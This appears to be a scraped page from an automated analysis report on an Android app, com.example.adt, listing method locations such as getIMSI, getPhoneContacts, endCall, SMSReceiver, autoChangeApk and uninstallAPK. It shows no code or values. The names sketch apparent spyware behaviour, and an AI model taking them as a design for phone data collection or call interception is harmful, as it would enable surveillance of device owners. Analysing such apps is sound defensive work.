| Method: com.example.adt.CoreService.NetWorkStatus:15 | Show source |
|---|
| Method: com.example.adt.Config.getAPNType:31 | Show source |
|---|
| Method: com.example.adt.Config.getAPNType:43 | Show source |
|---|
| Method: com.example.adt.Config.isNetworkConnected:14 | Show source |
|---|
| Method: com.example.adt.CoreService.NetWorkStatus:18 | Show source |
|---|
| Method: com.example.adt.FileUtils.<init>:9 | Show source |
|---|
| Method: com.example.adt.Config.getSDPath:12 | Show source |
|---|
| Method: com.example.adt.Config.configPath:2 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:21 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:23 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub.onTransact:24 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub.onTransact:40 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:7 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:10 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:9 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:12 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:23 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:25 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:25 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:27 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:31 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:33 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:31 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:33 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:39 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:41 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.answerRingingCall:15 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub$Proxy.endCall:17 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub.onTransact:29 | Show source |
|---|
| Method: com.android.internal.telephony.ITelephony$Stub.onTransact:44 | Show source |
|---|
| Method: com.example.adt.Config.getPhoneNumber:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| Method: com.example.adt.Config.getPhoneNumber:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| Method: com.example.adt.Config.getPhoneNumber:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| Method: com.example.adt.Config.getPhoneNumber:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| Method: com.example.adt.Config.getIMSI:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| Method: com.example.adt.Config.getIMSI:9 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| Return Value | java.lang.String |
|
| Method: com.example.adt.Connect.getHttpConnection:43 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:73 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:80 | Show source |
|---|
| Method: com.example.adt.DownLoad.openFile:8 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:176 | Show source |
|---|
| Method: com.example.adt.App.changeApk:62 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:99 | Show source |
|---|
| Method: com.example.adt.App$1.run:67 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:99 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:24 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:37 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:8 | Show source |
|---|
| Method: com.example.adt.PhoneListener.DeleteCall:5 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:8 | Show source |
|---|
| Method: com.example.adt.App.hasApp:8 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:25 | Show source |
|---|
| Method: com.example.adt.CoreService.showNofity:11 | Show source |
|---|
| Method: com.example.adt.PhoneListener.endCall:6 | Show source |
|---|
| Method: com.example.adt.CoreService.NetWorkStatus:5 | Show source |
|---|
| Method: com.example.adt.Config.getIMSI:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| Method: com.example.adt.Config.getIMSI:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| Method: com.example.adt.Config.getIMSI:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| Method: com.example.adt.SMS.sendData:39 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:99 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | com.example.adt.CoreService$MyBroadcastReciver |
|
| p1 | android.content.IntentFilter |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| Method: com.example.adt.CoreService.onCreate:99 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | com.example.adt.CoreService$MyBroadcastReciver |
|
| p1 | android.content.IntentFilter |
|
| Name | Type | Value |
|---|---|---|
| Return Value | null |
|
| Method: com.example.adt.App.autoChangeApps:118 | Show source |
|---|
| Method: com.example.adt.CoreService$BtnClick$1.run:13 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:118 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:123 | Show source |
|---|
| Method: com.example.adt.DownLoad.openFile:29 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:45 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:196 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:143 | Show source |
|---|
| Method: ..:5 | Show source |
|---|
| Method: com.example.adt.MainActivity.onCreate:12 | Show source |
|---|
| Method: ..:11 | Show source |
|---|
| Method: com.example.adt.MainActivity.onCreate:18 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| name | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.app.admin.DevicePolicyManager |
|
| Method: com.example.adt.Config.getPhoneNumber:5 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| name | java.lang.String |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.telephony.TelephonyManager |
|
| Method: com.example.adt.MainActivity.activeManager:19 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| intent | android.content.Intent |
|
| Method: com.example.adt.MainActivity.onCreate:44 | Show source |
|---|
| Name | Type | Value |
|---|---|---|
| p0 | android.content.Intent |
|
| Name | Type | Value |
|---|---|---|
| Return Value | android.content.ComponentName |
|
| Method: com.example.adt.SMS$1$2.run:4 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:47 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:4 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:47 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:24 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:25 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:31 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:45 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:53 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:27 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:27 | Show source |
|---|
| Method: ..:18 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:27 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:56 | Show source |
|---|
| Method: ..:18 | Show source |
|---|
| Method: ..:23 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:26 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:69 | Show source |
|---|
| Method: ..:25 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:37 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:89 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:43 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:100 | Show source |
|---|
| Method: com.example.adt.Config.getFileSizes:9 | Show source |
|---|
| Method: ..:20 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:29 | Show source |
|---|
| Method: ..:31 | Show source |
|---|
| Method: ..:45 | Show source |
|---|
| Method: ..:55 | Show source |
|---|
| Method: ..:63 | Show source |
|---|
| Method: ..:71 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:49 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:57 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:61 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:107 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.getInputStreamFromURL:26 | Show source |
|---|
| Method: ..:51 | Show source |
|---|
| Method: ..:59 | Show source |
|---|
| Method: ..:63 | Show source |
|---|
| Method: com.example.adt.Connect.postHttpConnection:71 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:21 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:23 | Show source |
|---|
| Method: ..:26 | Show source |
|---|
| Method: ..:41 | Show source |
|---|
| Method: ..:51 | Show source |
|---|
| Method: ..:59 | Show source |
|---|
| Method: ..:66 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:39 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:91 | Show source |
|---|
| Method: com.example.adt.DownLoad.downloadFile:31 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:95 | Show source |
|---|
| Method: ..:29 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:92 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:184 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:78 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:103 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:21 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:119 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:215 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:234 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:253 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:314 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:76 | Show source |
|---|
| Method: com.example.adt.App.changeApk:16 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:92 | Show source |
|---|
| Method: com.example.adt.LockReceiver.onReceive:10 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:67 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:76 | Show source |
|---|
| Method: com.example.adt.LockReceiver.onEnabled:8 | Show source |
|---|
| Method: com.example.adt.Config.getFileSizes:28 | Show source |
|---|
| Method: com.example.adt.CoreService.onCreate:65 | Show source |
|---|
| Method: com.example.adt.CoreService$MyRunnable.run:26 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:92 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:53 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:107 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:134 | Show source |
|---|
| Method: com.example.adt.App$1.run:95 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:17 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:75 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:47 | Show source |
|---|
| Method: com.example.adt.Config.getAPNType:40 | Show source |
|---|
| Method: com.example.adt.LockReceiver.onDisabled:8 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:16 | Show source |
|---|
| Method: com.example.adt.MainActivity.onCreate:50 | Show source |
|---|
| Method: com.example.adt.CoreService.<init>:5 | Show source |
|---|
| Method: com.example.adt.CoreService.<init>:9 | Show source |
|---|
| Method: ..:49 | Show source |
|---|
| Method: com.example.adt.HttpDownloader.download:43 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:138 | Show source |
|---|
| Method: ..:45 | Show source |
|---|
| Method: com.example.adt.Connect.postHttpConnection:75 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:84 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:89 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:39 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:160 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:357 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:375 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:158 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:178 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:192 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:52 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:81 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:83 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:86 | Show source |
|---|
| Method: com.example.adt.CoreService.<init>:45 | Show source |
|---|
| Method: com.example.adt.CoreService.<init>:52 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:27 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:36 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:148 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:157 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:354 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:372 | Show source |
|---|
| Method: ..:17 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:85 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:341 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: com.example.adt.Connect.<init>:2 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: com.example.adt.FileUtils.<init>:2 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:5 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:3 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:3 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:3 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:4 | Show source |
|---|
| Method: ..:2 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:74 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:106 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:139 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:60 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:95 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:10 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:12 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:32 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:111 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:205 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:279 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:304 | Show source |
|---|
| Method: ..:14 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:25 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:68 | Show source |
|---|
| Method: com.example.adt.App.changeApk:8 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:15 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:84 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:50 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:58 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:25 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:68 | Show source |
|---|
| Method: com.example.adt.FileUtils.<init>:7 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:42 | Show source |
|---|
| Method: ..:10 | Show source |
|---|
| Method: com.example.adt.Config.<clinit>:19 | Show source |
|---|
| Method: com.example.adt.Config.<clinit>:36 | Show source |
|---|
| Method: com.example.adt.CoreService$MyRunnable.run:18 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:29 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:84 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:42 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:70 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:96 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:13 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:43 | Show source |
|---|
| Method: ..:10 | Show source |
|---|
| Method: com.example.adt.App$1.run:15 | Show source |
|---|
| Method: com.example.adt.App$1.run:87 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:9 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:37 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:66 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:111 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:20 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:67 | Show source |
|---|
| Method: ..:15 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:20 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:68 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:88 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:135 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:184 | Show source |
|---|
| Method: com.example.adt.App.getApps:67 | Show source |
|---|
| Method: com.example.adt.App.getApps:122 | Show source |
|---|
| Method: com.example.adt.App.getApps:153 | Show source |
|---|
| Method: ..:13 | Show source |
|---|
| Method: com.example.adt.Config.getAPNType:29 | Show source |
|---|
| Method: com.example.adt.App.hasApp:41 | Show source |
|---|
| Method: com.example.adt.Config.configPath:12 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:8 | Show source |
|---|
| Method: com.example.adt.CoreService.uninstallAPK:21 | Show source |
|---|
| Method: com.example.adt.SMS$2$1.run:15 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:78 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:110 | Show source |
|---|
| Method: com.example.adt.CoreService$MyBroadcastReciver.onReceive:143 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:64 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:69 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:72 | Show source |
|---|
| Method: com.example.adt.PhoneListener.onReceive:97 | Show source |
|---|
| Method: com.example.adt.SMSReceiver.onReceive:15 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:36 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:41 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:48 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:53 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:60 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:65 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:68 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:113 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:209 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:286 | Show source |
|---|
| Method: com.example.adt.CoreService$MyOrderRunnable.run:308 | Show source |
|---|
| Method: ..:16 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:29 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:34 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:37 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:42 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:52 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:57 | Show source |
|---|
| Method: com.example.adt.SMS$1$2.run:70 | Show source |
|---|
| Method: com.example.adt.App.changeApk:10 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:19 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:24 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:31 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:36 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:43 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:48 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:55 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:60 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:67 | Show source |
|---|
| Method: com.example.adt.SMSReceiver$1.run:86 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:52 | Show source |
|---|
| Method: com.example.adt.Connect.getHttpConnection:57 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:62 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:65 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:70 | Show source |
|---|
| Method: com.example.adt.Contact.getPhoneContacts:73 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:29 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:34 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:37 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:42 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:52 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:57 | Show source |
|---|
| Method: com.example.adt.SMS$1$1.run:70 | Show source |
|---|
| Method: com.example.adt.FileUtils.<init>:12 | Show source |
|---|
| Method: com.example.adt.FileUtils.<init>:17 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:49 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:54 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:61 | Show source |
|---|
| Method: com.example.adt.App.autoChangeApps:66 | Show source |
|---|
| Method: ..:12 | Show source |
|---|
| Method: com.example.adt.Config.<clinit>:23 | Show source |
|---|
| Method: com.example.adt.Config.<clinit>:40 | Show source |
|---|
| Method: com.example.adt.CoreService$MyRunnable.run:20 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:33 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:38 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:41 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:46 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:59 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:64 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:67 | Show source |
|---|
| Method: com.example.adt.Contact$1.run:86 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:47 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:74 | Show source |
|---|
| Method: com.example.adt.BootBroadcastReceiver.onReceive:101 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:17 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:47 | Show source |
|---|
| Method: com.example.adt.DownLoad.downLoadFile:50 | Show source |
|---|
| Method: ..:12 | Show source |
|---|
| Method: com.example.adt.App$1.run:19 | Show source |
|---|
| Method: com.example.adt.App$1.run:24 | Show source |
|---|
| Method: com.example.adt.App$1.run:38 | Show source |
|---|
| Method: com.example.adt.App$1.run:43 | Show source |
|---|
| Method: com.example.adt.App$1.run:57 | Show source |
|---|
| Method: com.example.adt.App$1.run:62 | Show source |
|---|
| Method: com.example.adt.App$1.run:76 | Show source |
|---|
| Method: com.example.adt.App$1.run:89 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:11 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:39 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:70 | Show source |
|---|
| Method: com.example.adt.CoreService.autoChangeApk:115 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:24 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:29 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:36 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:41 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:44 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:49 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:56 | Show source |
|---|
| Method: com.example.adt.PhoneListener$1.run:69 | Show source |
|---|
| Method: ..:17 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:30 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:35 | Show source |
|---|
| Method: com.example.adt.SMS$2.run:41 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:188 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:193 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:200 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:205 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:212 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:217 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:223 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:228 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:234 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:239 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:246 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:251 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:258 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:263 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:270 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:275 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:282 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:287 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:294 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:299 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:306 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:311 | Show source |
|---|
| Method: com.example.adt.CoreService$HTRunnable.run:318 | Show source |
|---|
| Method: com.example.adt.App.getApps:74 | Show source |
